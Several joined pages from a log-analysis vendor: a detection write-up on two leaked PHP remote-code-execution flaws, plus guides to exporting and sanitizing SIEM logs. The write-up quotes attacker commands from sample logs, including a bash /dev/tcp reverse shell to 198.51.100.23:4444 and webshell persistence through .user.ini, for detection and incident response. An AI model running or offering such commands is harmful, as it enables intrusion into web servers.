Can Kimsuky still affect me in 2026?
Yes. Kimsuky ran several campaigns in 2026, including Operation GitPower and an HTTPSpy wave against South Korean military targets. They use the same LNK lures, hidden PowerShell, and scheduled-task persistence seen in this sample. The analysis section lists the 2026 campaigns.
How can I protect myself from Kimsuky?
Allowlist or restrict WScript, CScript, and PowerShell, enable Script Block Logging and AMSI telemetry, and alert on script hosts running from user-writable folders. Monitor for new services and scheduled tasks that launch hidden PowerShell, and treat audit log clearing on a DC as an incident.
How can I detect Kimsuky?
Collect Windows Security events with process command lines (4688), service installs (4697), scheduled task events (4698, 4702, 4699), account and group changes (4720–4738), AD changes (5136), and log clearing (1102). Run the export through LogTotal to match it against known Kimsuky campaigns, then confirm each finding against the raw events.
PHP2Shell detection matters because the window between a patch and real-world exploitation can be a single day. PHP2Shell is the name for two unauthenticated remote code execution flaws in PHP core, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. No authentication is needed, so any exposed PHP application on an unpatched release is a target. In the sample below, exploitation surfaces as a PHP worker crash followed by commands running as the web server user.
This article covers PHP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we explain the vulnerability context, where the logs came from, what LogTotal found, and how to respond.
PHP2Shell Analysis
Both PHP2Shell flaws score 9.2 under CVSS v4.0, and both can be reached without authentication on any PHP installation that serves web requests. To read the log sample correctly, it helps to know how each bug works, how fast the disclosure unfolded, and which installations are exposed.
The two CVEs are separate memory-safety bugs in how PHP handles a request. Either one lets an attacker run code as the web server user.
CVE-2026-109618, out-of-memory corruption. When PHP runs out of memory partway through setting up a request, internal data is left half built, and the cleanup code then trusts it.
CVE-2026-109619, stale global state. Internal state outlives the request memory it points to, so the next request the same worker picks up can act on leftover data.
This is why exploitation shows up as PHP “Allowed memory size … exhausted” errors and PHP worker crashes. Public PHP2Shell scanners look for the same signals.
Disclosure and exploitation timeline
Date (2026)
Event
26 October
CISA added CVE-2026-109618 to its KEV catalog
22 October
Exploitation in this sample logged on web-prod-01
21 October
PHP published fixed releases; watchTowr observed exploitation in the wild
20 October
Details leaked on social media ahead of the planned 22 October disclosure; PHP announced an emergency release
Researchers at Calif found the flaws and reported them to PHP. The leak is why LogTotal’s chain is titled “Leaked Critical PHP Vulnerabilities.” Public PoC code and exploit frameworks appeared on GitHub within days, and one research toolkit reports verified command execution as www-data on builds from PHP 7.4 through 8.4 below the fixed releases.
Which systems PHP2Shell affects
PHP lists every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35 as vulnerable, and older branches are affected too.
PHP branch
Affected
Fix
8.5.x
Below 8.5.12
8.5.12
8.4.x
Below 8.4.27
8.4.27
8.3.x
Below 8.3.36
8.3.36
8.2.x
Below 8.2.35
8.2.35
7.4, 8.0, 8.1
All versions
No official release; use a distribution or LTS vendor package, PHP’s minimal source backports, or upgrade
7.3 and older, including PHP 5
All versions
No fix; upgrade to a supported branch
Every PHP installation that serves web requests is in scope, whether it runs under PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, or FrankenPHP. PHP rates the risk highest for Apache mod_php, where an attack can succeed before any application code runs.
Log source and collection
Attribute
Value
File
PHP2Shell_sample.jsonl
Events
6
Host
web-prod-01 (Linux production web server)
Time window
22 October 2026, 11:31:30 to 11:31:33 UTC (three seconds)
2 plain-text lines from the PHP runtime and the PHP-FPM error log
4 events (file and process), normalized to ECS
The mix is typical of what reaches a SIEM in practice: application error logs alongside EDR telemetry.
Detect PHP2Shell
LogTotal processed 6 lines in 4.2 seconds, matched 9 rules against 4 lines, and formed one chain on web-prod-01: PHP2Shell, Leaked Critical PHP Vulnerabilities (CVE-2026-109618 & CVE-2026-109619), Critical, 100% match, 3 rules fired.
Verdict field
Result
Verdict
Suspicious, needs investigation
Severity
Critical
Confidence
Medium
How the PHP2Shell chain unfolds
The chain follows the exploitation in three steps, all within three seconds.
Crash. The rule “Possible CVE-2026-109618 / CVE-2026-109619 Exploitation Attempt – PHP Memory Exhaustion / PHP Worker Crash” matched a PHP fatal “Allowed memory size … exhausted” error and PHP-FPM child 1201 dying on SIGSEGV. These are the same crash signals public PHP2Shell scanners look for.
Shell from the web worker. “Possible PHP Worker Spawning Unusual Process” and “Suspicious Shell via Web Server [Linux]” caught php-fpm, running as www-data, spawning sh -c bash /dev/shm/.s. The script was staged in RAM-backed /dev/shm.
Reverse shell. “Possible Data Exfiltration / Reverse Shell via Bash” matched bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Outside the chain, four more rules hit the same command, led by Linux Reverse Shell Indicator (Critical).
Using LogTotal findings in PHP2Shell triage
The chain gives the order of events and the severity in one screen. The raw events give the IOCs to block and the persistence to remove. Use both: confirm the chain’s three steps, then review the file events and command lines for IOCs and persistence.
PHP2Shell Mitigation
The definitive fix for PHP2Shell is a fixed PHP release, and PHP states that no configuration change fully mitigates these flaws. On a server that has already been exploited, patching is not enough: the webshell and .user.ini persist across a PHP upgrade.
Patch every PHP installation
Inventory every server and application that runs PHP, starting with internet-facing systems and any that run PHP as an Apache module.
Update each installation to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, matching its branch. Linux distributions received the patches ahead of release, so check for updated distribution packages.
Restart every PHP worker so the fix takes effect.
For PHP 7.4, 8.0, and 8.1, use a distribution or LTS vendor package or PHP’s minimal source backports, or upgrade. PHP 7.3 and older have no fix.
Restrict internet access to any PHP system you cannot update immediately.
Community trackers also report CVE-2026-115560, a separate, configuration-dependent session upload-progress vector covered by a PHP informational advisory on 23 October 2026. It is not part of PHP2Shell and was left for a later release; the interim recommendation is session.upload_progress.enabled = 0.
LogTotal’s recommended response
Isolate web-prod-01.
Preserve its web, system, and network logs.
Investigate the reverse-shell destination.
Verify the PHP version and patch.
Alert on future PHP worker crashes and shell spawns.
Additional steps from the raw evidence
Block egress to 198.51.100.23:4444.
Preserve evidence before cleanup: copy uploads/.cache.php, .user.ini, and /dev/shm/.s. Files in /dev/shm are lost on reboot.
Remove persistence. Delete the auto_prepend_file directive, or better, rebuild the host on a fixed PHP release.
Rotate every secret www-data can read, such as database credentials and API keys in application config.
Hunt the web fleet for:
.user.ini files containing auto_prepend_file
hidden PHP files in upload folders
shells spawned by php-fpm, php-cgi, apache2, or httpd
Ongoing PHP2Shell monitoring
Keep PHP and PHP-FPM error logs flowing to your SIEM alongside EDR telemetry. In this sample, the crash lines were the first signal and the EDR file events held the persistence. Either source alone would have told only half the story.
FAQ
What is PHP2Shell and how does it work?
PHP2Shell is two unauthenticated remote code execution flaws in PHP core: CVE-2026-109618 (out-of-memory corruption) and CVE-2026-109619 (stale global state), both rated CVSS v4.0 9.2. Either lets an attacker run code as the web server user. The analysis section above explains how each one works.
When was PHP2Shell first discovered?
Researchers at Calif reported the flaws to PHP. Details leaked on 20 October 2026, and PHP shipped fixes on 21 October, a day ahead of the planned disclosure.
Which PHP versions does PHP2Shell affect?
Every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35, plus all of PHP 7.4, 8.0, 8.1, and older branches including PHP 5. Any PHP installation that serves web requests is in scope, with Apache mod_php at the highest risk.
What is the impact of PHP2Shell on systems?
An unauthenticated attacker can run code as the web server user. In this sample, that led to a reverse shell to 198.51.100.23:4444 and a hidden webshell loaded on every PHP request through .user.ini. Any secret readable by www-data should be treated as exposed.
Can PHP2Shell still affect me in 2026?
Yes. PHP2Shell is exploited in the wild and listed in CISA’s KEV catalog. Unpatched servers, end-of-life branches without a backport, and compromised servers whose webshell persistence was never removed all remain at risk.
How can I protect myself from PHP2Shell?
Upgrade to a fixed PHP release and restart every PHP worker; no configuration change fully mitigates PHP2Shell. Then restrict web server egress, rotate secrets readable by the web user, and audit upload folders and .user.ini files for persistence. The mitigation section lists the full steps.
How can I detect PHP2Shell?
Collect PHP and PHP-FPM error logs together with EDR process and file events. Alert on PHP memory exhaustion and worker crashes, shells spawned by php-fpm, php-cgi, apache2, or httpd, and new .user.ini files with auto_prepend_file. Running an export through LogTotal maps these events to the PHP2Shell chain and shows the attack order in one view.
Send a PowerQuery to the Singularity Data Lake API at /api/powerQuery on your regional Data Lake URL, for example https://xdr.us1.sentinelone.net. The response comes back as a table (columns plus rows), and one jq line turns it into one JSON object per event. Alternatively, export events directly from the Singularity console through Event Search. CSV is a commonly available export format, while JSON or plain-text downloads may be available depending on the interface.
Singularity Data Lake holds SentinelOne’s endpoint telemetry alongside any third-party logs you send it, so it’s often the widest view a SentinelOne customer has. Prime Core has 14,699detection rules for SentinelOne, mapped to 644 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
A service user with the right permissions. Create a service user for API access and give its role the Data Lake query permissions (SDL Query API and SDL Search). Create it at the account or site level that actually holds the data. A key made at the wrong scope authenticates fine and returns nothing.
Your regional URL. The US is typically https://xdr.us1.sentinelone.net; other regions use their own hostnames. The console’s help section lists yours.
Know the fields. Endpoint telemetry uses names such as endpoint.name, event.type, src.process.cmdline and tgt.process.cmdline. Third-party logs keep their original text in a message field. Try the query in Event Search first.
PowerQuery results are capped, so split long windows into several requests.
The columns stage decides what you get. Leave out fields you don’t need, but keep the command lines and process names: that’s where most detections look.
Export logs through the Singularity Data Lake UI
For quick investigations or smaller log samples, you can export events directly from the SentinelOne Singularity console without using the API.
Open Event Search. Sign in to the SentinelOne Singularity console and navigate to Event Search. Select the account or site containing your logs.
Set the time range. Choose the period you want to investigate and ensure the correct data sources are included.
Run a query. Enable PowerQuery and enter a search filter, for example endpoint.name = “WS-042”. Run the search.
Review results. Check the matching events and select the fields you need, such as timestamp, endpoint.name, event.type, src.process.cmdline and tgt.process.cmdline. Avoid aggregation functions if you need individual log events.
Export the results. Use the Export or Download option in the results area. Depending on the console version and search mode, you may be able to choose between CSV, JSON and plain text.
Save the file. Download the results to your computer. Prefer JSON when available, especially for structured endpoint telemetry. For third-party logs, preserve the message field containing the original log text.
Limitations. Export formats and result limits vary by console version and search mode. Large searches can also exceed the UI export limit; narrow the time range or use the Data Lake API for larger datasets.
Upload, sanitize and review in LogTotal
Upload. Open logtotal.com and drop in the .jsonl file.
Sanitize.
Review.
When it goes wrong
Symptom
Likely cause
Fix
401
Token invalid, or the user lacks Data Lake query permissions
Check the role’s SDL permissions
Valid token, empty results
Service user created at the wrong scope
Create it at the account or site that holds the data
Connection or 404 errors
Wrong regional URL
Use the URL from your console’s help section
Results stop at a round number
Row limit
Split the time window
Fields come back empty
Field names differ for that data source
Check the names in Event Search
FAQ
What happened to Deep Visibility?
Deep Visibility was SentinelOne’s earlier telemetry search. Current consoles use Singularity Data Lake and PowerQuery for the same job, and that’s the route this guide covers.
Can I export third-party logs stored in the Data Lake?
Yes, the same way. Filter on the data source and keep the field that holds the original message.
Send your query to the LogScale query API, POST /api/v1/repositories/<repo>/query, and ask for application/x-ndjson: you get one event per line. The original log line sits in @rawstring, so one jq call turns the export back into raw logs. Alternatively, export logs directly from the LogScale UI as plain text, JSON or CSV.
LogScale (formerly Humio) is built for high-volume log search, so it often holds the most complete record a team has. Prime Core has 23,747 detection rules for Falcon LogScale, mapped to 674 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
This guide covers standalone LogScale, cloud or self-hosted. If you use LogScale inside the Falcon console as part of Next-Gen SIEM, the console and its APIs are different.
A token. Create an API token with permission to query the repository. Treat it like a password.
Base URL and repository. Cloud customers use their region’s URL, such as https://cloud.us.humio.com. Self-hosted clusters use their own hostname. You also need the repository or view name.
Retention. Each repository has its own retention. Check it before you promise anyone a week of history.
The start and end values are epoch milliseconds; relative values like “24h” work too. The date -d syntax is GNU, so on macOS compute the timestamps another way.
Keep the query a filter. Anything that aggregates (groupBy, count, timechart) returns the aggregate, not events. For very long or heavy searches, use the query jobs API, which runs the search asynchronously and lets you poll for results.
Export logs through the Falcon LogScale Search UI
For quick investigations or smaller log samples, you can export events directly from the Falcon LogScale web interface without using the API.
Open Search. Sign in to Falcon LogScale, select the repository or view containing your logs, and open the Search page.
Run a query. Enter a search filter, for example host=web-03. Set the time range and run the search.
Review results. Check that the returned events match what you need. Avoid aggregation functions such as groupBy(), count() or timeChart() if you want individual log events.
Export the logs. From the search results, click Save > Export data to file.
Choose the file format.
Plain text (.txt): Exports the @rawstring field, preserving the original log lines. Best for LogTotal when the source contains syslog-style text.
JSON (.json): Exports complete event objects, including parsed fields and metadata. Best when you need structured events.
CSV (.csv): Exports selected fields into a table. Useful for reporting, but less suitable for LogTotal. Select ‘Select all’ in ‘Fields to export’.
Download. Enter a filename and click Export to save the file locally.
Limitations. Plain-text export requires the original log content to be available in @rawstring. If that field is missing, export the complete events as JSON instead. For large datasets, narrow the time range or use the query API. Non-aggregated search exports may contain events in a different order from the UI results.
Token missing, expired, or without query permission on the repository
Create a token with query rights
No results
Wrong repository name, or seconds instead of milliseconds
Check the name; use +%s000
Aggregated rows instead of events
The query aggregates
Use a plain filter
@rawstring is missing
A parser replaced it, or the data was ingested as structured JSON
Export the whole event instead
The request times out
Too much data for a synchronous query
Narrow the window, or use query jobs
FAQ
Is LogScale the same as Falcon Next-Gen SIEM?
Next-Gen SIEM is built on LogScale technology, but it lives inside the Falcon platform with its own console and APIs. This guide is for standalone LogScale.
NDJSON or raw?
Raw (@rawstring) when the source was syslog-style text. NDJSON when the events were JSON to begin with, or when you need LogScale’s parsed fields.
Run your search through Sumo Logic’s Search Job API: create a job, wait until it has gathered all results, then page through the messages. Each message carries the original log line in _raw. The Messages tab in the UI can export results too, but not in a format LogTotal reads today.
Sumo Logic is a common cloud SIEM and log platform, and a natural place to pull an investigation slice from. Prime Core has 23,391 detection rules for Sumo Logic, mapped to 664 MITRE ATT&CK techniques. Below is how to get raw logs out, sanitize them, and investigate them for free in LogTotal.
An access key. Create an access ID and key in Sumo Logic. The key acts with your role’s permissions, so the role needs to be able to run searches on the data you want.
The right API endpoint. Sumo Logic runs several deployments, and each has its own API host: api.sumologic.com for US1, api.us2.sumologic.com, api.eu.sumologic.com and so on. Match it to the URL you use to log in. A wrong deployment gives you a 401 that looks like a bad key.
Cookies. The Search Job API needs cookies kept between calls, because a job lives on a specific backend node. Without a cookie jar, follow-up calls can fail to find the job.
Limits. A job returns a capped number of messages, and each page holds up to 10,000. Keep time windows tight.
Export with the Search Job API
API="https://api.sumologic.com/api/v1" AUTH="$SUMO_ACCESS_ID:$SUMO_ACCESS_KEY" JAR=$(mktemp) # 1. create the search job JOB=$(curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" -H 'Content-Type: application/json' \ -X POST "$API/search/jobs" -d '{ "query": "_sourceCategory=linux/secure _sourceHost=web-03", "from": "2026-10-19T00:00:00", "to": "2026-10-20T00:00:00", "timeZone": "UTC" }' | jq -r '.id') # 2. wait until all results are gathered until curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" "$API/search/jobs/$JOB" \ | jq -e '.state == "DONE GATHERING RESULTS"' >/dev/null; do sleep 5; done # 3. page through the messages, keeping the raw lines COUNT=$(curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" "$API/search/jobs/$JOB" | jq '.messageCount') for ((off=0; off<COUNT; off+=10000)); do curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" "$API/search/jobs/$JOB/messages?offset=$off&limit=10000" \ | jq -r '.messages[].map._raw' done > web-03_sumo_1019.log # 4. clean up curl -sS -u "$AUTH" -c "$JAR" -b "$JAR" -X DELETE "$API/search/jobs/$JOB" >/dev/null
Keep the query to a plain filter. Queries with aggregation operators return records, not messages, and records don’t carry _raw. For structured output, write jq -c ‘.messages[].map’ instead, which gives one JSON object per line with all fields.
If a job is cancelled, the wait loop never ends. Add a check for CANCELLED if you script this for regular use.
Before LogTotal runs any detection logic on a plain text, CSV or JSON upload, it replaces identifying values with placeholders: usernames, hostnames, IP addresses and similar. It then shows you the result to review before analysis starts. Uploaded files aren’t kept after analysis. EVTX files are the exception for now: they’re analyzed as uploaded, without the sanitize step.
The objection to online log analysis is a fair one. Logs are full of internal names, addresses and occasionally things nobody meant to log at all. This page explains what LogTotal masks, what it deliberately leaves alone, and what you should still check yourself.
Detection logic looks at behavior, not names. To spot a password spray or an encoded PowerShell payload, rules need event IDs, process and file names, the structure of a command line, ports, protocols and timestamps. Masking those would blind the analysis without protecting much.
Same value, same placeholder
Masking only works for investigation if it’s consistent. If jane.doe becomes user_1 on every line, you can still see that user_1 failed 40 logins from one address and then succeeded. If every username became a different random string, that pattern would vanish. Consistent placeholders keep the story intact while taking the names out of it.
Your part: review before you continue
Automatic masking catches the common shapes. It can’t know your environment. Before you continue past the sanitize step, look for:
secrets inside free-text messages, such as passwords typed into command lines or API keys in error messages;
custom fields that hold names, such as ticket_owner or approved_by;
project or customer codenames hidden in hostnames or paths;
personal data inside URLs and query strings.
If you spot something, clean it in the file before uploading. A sed one-liner handles most cases:
sed -E 's/(password|token|apikey)=[^&[:space:]]+/\1=REDACTED/Ig' in.log > clean.log
EVTX: not sanitized yet
EVTX files are analyzed as uploaded, without the sanitize step. Use EVTX uploads freely for test machines. For production hosts, get approval from whoever owns data handling first. If you need sanitization today, convert the file to JSON lines with the open-source evtx_dump and upload that:
evtx_dump -o jsonl Security.evtx > Security.jsonl
FAQ
Does sanitization make my logs anonymous under GDPR?
Not necessarily. Consistent placeholders are pseudonymization, and pseudonymized data can still count as personal data under GDPR. That’s not a reason to avoid the tool, but it is a reason to follow your organization’s data protection rules. If in doubt, ask your DPO. This isn’t legal advice.
Every SIEM can hand its data back in one of two shapes: the original raw events, or its own parsed JSON. For analysis outside the SIEM, raw events are almost always the better choice. Export them for a narrow time window through the API or CLI, not the browser. The table below shows the best route for each major platform, with a link to the full guide.
Why bother taking data out of a SIEM at all? For a second opinion, to share with an IR partner who has no access, or to run detection logic your SIEM doesn’t have. Prime Core has 1M detection rules across these platforms, mapped to 676 MITRE ATT&CK techniques, and LogTotal runs them against a file for free.
CLI splunk search -output rawdata, or REST search/v2/jobs/export with output_mode=raw
Original raw lines
[Splunk]
IBM QRadar
Ariel REST API with UTF8(payload)
Original payloads
[QRadar]
OpenSearch
opensearch-py helpers.scan, or _search with PIT
JSON documents; raw line if kept in message
[OpenSearch]
Elasticsearch
elasticsearch-py helpers.scan, PIT with search_after, or ES|QL (up to 10,000 rows)
JSON documents; raw line in event.original if preserved
[Elastic]
CrowdStrike Falcon
Advanced Event Search export, or Falcon Data Replicator
Falcon telemetry as JSON
[CrowdStrike]
Microsoft Sentinel
az monitor log-analytics query
One JSON object per row
[Sentinel]
Microsoft Defender XDR
Microsoft Graph runHuntingQuery
Advanced hunting rows as JSON
[Defender XDR]
Google SecOps
UDM search API, or Data Export API to Cloud Storage
UDM JSON, or original raw logs
[Google SecOps]
Six rules that apply everywhere
Export events, not summaries. Anything that ends in stats, summarize, table or an aggregation is a report, not logs.
Narrow first. Host, source, event type, time window. Count before you pull; most platforms show the number in the UI.
Use the API or CLI for anything over a few thousand events. Browser exports time out, rerun searches, or silently cap the row count.
Mind the permission boundary. API tokens often see less than your UI session: QRadar security profiles, Splunk roles, Graph scopes. When numbers don’t match, check the token first.
Pin the time zone. Use absolute windows in UTC or with an explicit offset. Relative windows (“last 24 hours”) drift if a search reruns.
Unwrap the envelope. Many APIs wrap each event: a JSON string inside CloudTrailEvent, a Records array, a result key, a CloudWatch message. Flatten to one event per line with jq before you upload.
What a SIEM can’t give you back
Original binaries. No SIEM returns Windows EVTX files; you get rendered text or JSON. For EVTX, go to the host.
Data past retention. Once it’s aged out, or moved to an archive tier that needs a restore, a normal search won’t find it.
Fields dropped at ingest. If the pipeline discarded the raw line or a field, it’s gone. Check before you promise an analyst something.
Upload, sanitize and review in LogTotal
LogTotal reads syslog-style text, JSON and EVTX. Text and JSON uploads go through the sanitize step before analysis.
Upload. Open logtotal.com and drop in your export.
Sanitize.
Review.
FAQ
My SIEM isn’t in the table. Does this still work?
Yes. The rules above apply to any platform: find the API or CLI route, export raw events for a tight window, and flatten JSON to one event per line. We’re adding guides for the rest of the 65+ platforms SOC Prime supports.
Why not just analyze it in the SIEM?
Often you should. A file-based check is for when you want a second set of detections, need to share data with someone outside, or want to test what your SIEM might be missing.
LogTotal accepts three kinds of files: Windows event logs in EVTX, JSON (one event per line works best), and syslog-style text. Text and JSON uploads go through the sanitize step before analysis; EVTX files don’t yet. If your logs are in some other shape, there’s almost always a one-line command that converts them. The common ones are listed below.
LogTotal is SOC Prime’s free service for running detection logic against a log file without setting anything up: upload, sanitize, review. Getting the format right is the only part that can trip you up, so this page is the short version.
Watch the encoding on Windows. Windows PowerShell 5.1 writes UTF-16 when you use > or Out-File without options. Add -Encoding utf8, as every PowerShell example in our guides does.
Keep the time zone. ISO 8601 timestamps with Z or an offset make findings line up with other sources. Classic syslog timestamps have no year and no zone; note the source’s time zone when you upload them.
Converting what LogTotal doesn’t read
You have
Convert with
systemd journal files (.journal)
journalctl -D <dir> -o json –no-pager > out.jsonl
A macOS .logarchive
log show –archive <file> –style json > out.json (on a Mac)
EVTX, but you want the sanitize step
evtx_dump -o jsonl in.evtx > out.jsonl
Gzipped logs
zcat -f in.log.gz > out.log
A spreadsheet or XML export from a SIEM’s web interface
Re-export through the platform’s API or CLI; see
Size
split -l 200000 big.jsonl part_
For EVTX, filter while exporting with wevtutil /q
FAQ
Does LogTotal keep my files?
No. Uploads are analyzed and not retained.
Will more formats be supported?
Yes. We add formats regularly, and this page always lists what works today.
Entrar
